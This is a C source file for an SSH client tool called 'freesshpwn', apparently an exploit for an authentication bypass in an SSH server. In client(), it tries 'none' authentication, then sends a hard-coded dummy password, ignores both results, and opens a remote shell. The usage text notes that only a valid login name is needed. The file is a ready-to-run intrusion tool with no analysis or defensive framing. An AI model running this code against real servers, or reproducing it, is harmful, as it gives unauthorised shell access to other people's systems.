#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <termios.h>

#include <sys/select.h>
#include <sys/time.h>
#include <pty.h>
#include <sys/ioctl.h>
#include <signal.h>
#include <errno.h>
#include <libssh/libssh.h>

#define MAXCMD 10
char *host;
char *user;
char *cmds[MAXCMD];
struct termios terminal;


static void add_cmd(char *cmd){
    int n;
    for(n=0;cmds[n] && (n<MAXCMD);n++);
    if(n==MAXCMD)
        return;
    cmds[n]=strdup(cmd);
}

static void usage(){
    fprintf(stderr,"Usage : freesshpwn [login@]hostname\n"
    "login must exist on SSH server\n");
    exit(0);
}

static int opts(int argc, char **argv){
    int i=1;
    if(i < argc)
        host=argv[i++];
    while(i < argc)
        add_cmd(argv[i++]);
    if(host==NULL)
        usage();
    return 0;
}

static void do_cleanup(int i) {
  /* unused variable */
  (void) i;

  tcsetattr(0,TCSANOW,&terminal);
}

static void do_exit(int i) {
  /* unused variable */
  (void) i;

  do_cleanup(0);
  exit(0);
}

ssh_channel chan;
int signal_delayed=0;

static void sigwindowchanged(int i){
  (void) i;
  signal_delayed=1;
}

static void setsignal(void){
    signal(SIGWINCH, sigwindowchanged);
    signal_delayed=0;
}

static void sizechanged(void){
    struct winsize win = { 0, 0, 0, 0 };
    ioctl(1, TIOCGWINSZ, &win);
    channel_change_pty_size(chan,win.ws_col, win.ws_row);
//    printf("Changed pty size\n");
    setsignal();
}

static void select_loop(ssh_session session,ssh_channel channel){
	fd_set fds;
	struct timeval timeout;
	char buffer[4096];
	/* channels will be set to the channels to poll.
	 * outchannels will contain the result of the poll
	 */
	ssh_channel channels[2], outchannels[2];
	int lus;
	int eof=0;
	int maxfd;
	int ret;
	while(channel){
		do{
			FD_ZERO(&fds);
			if(!eof)
				FD_SET(0,&fds);
			timeout.tv_sec=30;
			timeout.tv_usec=0;
			FD_SET(ssh_get_fd(session),&fds);
			maxfd=ssh_get_fd(session)+1;
			channels[0]=channel; // set the first channel we want to read from
			channels[1]=NULL;
			ret=ssh_select(channels,outchannels,maxfd,&fds,&timeout);
			if(signal_delayed)
				sizechanged();
			if(ret==EINTR)
				continue;
			if(FD_ISSET(0,&fds)){
				lus=read(0,buffer,sizeof(buffer));
				if(lus)
					channel_write(channel,buffer,lus);
				else {
					eof=1;
					channel_send_eof(channel);
				}
			}
			if(channel && channel_is_closed(channel)){
				ssh_log(session,SSH_LOG_RARE,"exit-status : %d\n",channel_get_exit_status(channel));

				channel_free(channel);
				channel=NULL;
				channels[0]=NULL;
			}
			if(outchannels[0]){
				while(channel && channel_is_open(channel) && channel_poll(channel,0)){
					lus=channel_read(channel,buffer,sizeof(buffer),0);
					if(lus==-1){
						fprintf(stderr, "Error reading channel: %s\n",
								ssh_get_error(session));
						return;
					}
					if(lus==0){
						ssh_log(session,SSH_LOG_RARE,"EOF received\n");
						ssh_log(session,SSH_LOG_RARE,"exit-status : %d\n",channel_get_exit_status(channel));

						channel_free(channel);
						channel=channels[0]=NULL;
					} else
						write(1,buffer,lus);
				}
				while(channel && channel_is_open(channel) && channel_poll(channel,1)){ /* stderr */
					lus=channel_read(channel,buffer,sizeof(buffer),1);
					if(lus==-1){
						fprintf(stderr, "Error reading channel: %s\n",
								ssh_get_error(session));
						return;
					}
					if(lus==0){
						ssh_log(session,SSH_LOG_RARE,"EOF received\n");
						ssh_log(session,SSH_LOG_RARE,"exit-status : %d\n",channel_get_exit_status(channel));
						channel_free(channel);
						channel=channels[0]=NULL;
					} else
						write(2,buffer,lus);
				}
			}
			if(channel && channel_is_closed(channel)){
				channel_free(channel);
				channel=NULL;
			}
		} while (ret==EINTR || ret==SSH_EINTR);

	}
}

static void shell(ssh_session session){
    ssh_channel channel;
    struct termios terminal_local;
    int interactive=isatty(0);
    channel = channel_new(session);
    if(interactive){
        tcgetattr(0,&terminal_local);
        memcpy(&terminal,&terminal_local,sizeof(struct termios));
    }
    if(channel_open_session(channel)){
        printf("error opening channel : %s\n",ssh_get_error(session));
        return;
    }
    chan=channel;
    if(interactive){
        channel_request_pty(channel);
        sizechanged();
    }
    if(channel_request_shell(channel)){
        printf("Requesting shell : %s\n",ssh_get_error(session));
        return;
    }
    if(interactive){
        cfmakeraw(&terminal_local);
        tcsetattr(0,TCSANOW,&terminal_local);
        setsignal();
    }
    signal(SIGTERM,do_cleanup);
    select_loop(session,channel);
    if(interactive)
    	do_cleanup(0);
}

static void batch_shell(ssh_session session){
    ssh_channel channel;
    char buffer[1024];
    int i,s=0;
    for(i=0;i<MAXCMD && cmds[i];++i)
        s+=snprintf(buffer+s,sizeof(buffer)-s,"%s ",cmds[i]);
    channel=channel_new(session);
    channel_open_session(channel);
    if(channel_request_exec(channel,buffer)){
        printf("error executing \"%s\" : %s\n",buffer,ssh_get_error(session));
        return;
    }
    select_loop(session,channel);
}

static int client(ssh_session session){
  if (user)
    ssh_options_set(session, SSH_OPTIONS_USER, user);
  ssh_options_set(session, SSH_OPTIONS_HOST ,host);

  if(ssh_connect(session)){
      fprintf(stderr,"Connection failed : %s\n",ssh_get_error(session));
      return -1;
  }
  ssh_userauth_none(session, NULL);
  ssh_userauth_password(session, NULL, "youshallnotpwn");
  system("clear");
  if(!cmds[0])
  	shell(session);
  else
  	batch_shell(session);
  return 0;
}

int main(int argc, char **argv){
    ssh_session session;

    session = ssh_new();

    if(ssh_options_getopt(session, &argc, argv)) {
      fprintf(stderr, "error parsing command line :%s\n",
          ssh_get_error(session));
      usage();
    }
    opts(argc,argv);
    signal(SIGTERM, do_exit);
    client(session);

    ssh_disconnect(session);
    ssh_free(session);
    return 0;
}